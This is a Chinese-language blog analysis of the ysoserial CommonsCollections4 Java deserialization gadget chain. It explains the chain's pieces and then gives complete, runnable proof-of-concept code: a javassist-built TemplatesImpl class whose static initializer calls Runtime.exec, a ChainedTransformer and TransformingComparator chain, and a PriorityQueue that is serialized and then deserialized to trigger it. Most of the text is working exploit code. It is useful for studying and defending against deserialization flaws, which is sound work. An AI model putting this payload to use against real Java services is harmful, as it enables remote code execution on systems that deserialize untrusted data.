天天看點

ysoserial CommonsColletions4分析

ysoserial CommonsColletions4分析

其實CC4就是 CC3前半部分和CC2後半部分 拼接組成的,沒有什麼新的知識點。

不過要注意的是,CC4和CC2一樣需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是TransformingComparator類在3.1-3.2.1版本中還沒有實作Serializable接口,無法被反序列化。

JDK版本對于CC2和CC4來說,1.7和1.8都測試成功,下面我們就來快速構造一下payload

構造payload

CC4用的是javassist建立攻擊類,使用TemplatesImpl類中的newTransformer方法觸發攻擊類中的靜态方法

public class Demo {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//轉換為byte數組

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
        setFieldValue(templatesImpl, "_name", "HelloTemplatesImpl");
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        templatesImpl.newTransformer();
    }
}
           

通過ConstantTransformer、InstantiateTransformer、ChainedTransformer三個類構造出一條調用鍊

Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
           

利用TransformingComparator觸發chain#transform

TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修飾器傳入transformer對象
           

因為在優先級隊列PriorityQueue反序列時候,滿足條件即可調用到compare方法,是以利用這點來調用到TransformingComparator的compare

//建立PriorityQueue執行個體化對象,排序後使size值為2
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");//擷取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);//設定PriorityQueue的comparator字段值為comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//擷取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});//設定PriorityQueue的queue字段内容Object數組,内容為templatesImpl
           

最後幾個注意點複習下:

size>= 2:對應queue.add調用兩次

initialCapacity的值不能小于1:對應new PriorityQueue(1)

comparator的值要通過反射進行傳入,不然會在序列化時候抛出異常

構造出的Payload:

public class payload01 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

        //建立CommonsCollections2對象,父類為AbstractTranslet,注入了payload進構造函數
        ClassPool classPool= ClassPool.getDefault();//傳回預設的類池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜尋路徑
        CtClass payload=classPool.makeClass("CommonsCollections2");//建立一個新的public類
        payload.setSuperclass(classPool.get(AbstractTranslet));  //設定CommonsCollections2類的父類為AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //建立一個static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//轉換為byte數組

        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xxxx");
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(
                new Class[]{Templates.class},
                new Object[]{templatesImpl})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);

        TransformingComparator comparator = new TransformingComparator(chain);//使用TransformingComparator修飾器傳入transformer對象

        //建立PriorityQueue執行個體化對象,排序後使size值為2
        PriorityQueue queue = new PriorityQueue(1);
        queue.add(1);
        queue.add(1);

        Field field2 = queue.getClass().getDeclaredField("comparator");//擷取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue, comparator);//設定PriorityQueue的comparator字段值為comparator

        Field field3 = queue.getClass().getDeclaredField("queue");//擷取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue, new Object[]{templatesImpl, templatesImpl});//設定PriorityQueue的queue字段内容Object數組,内容為templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();
    }
}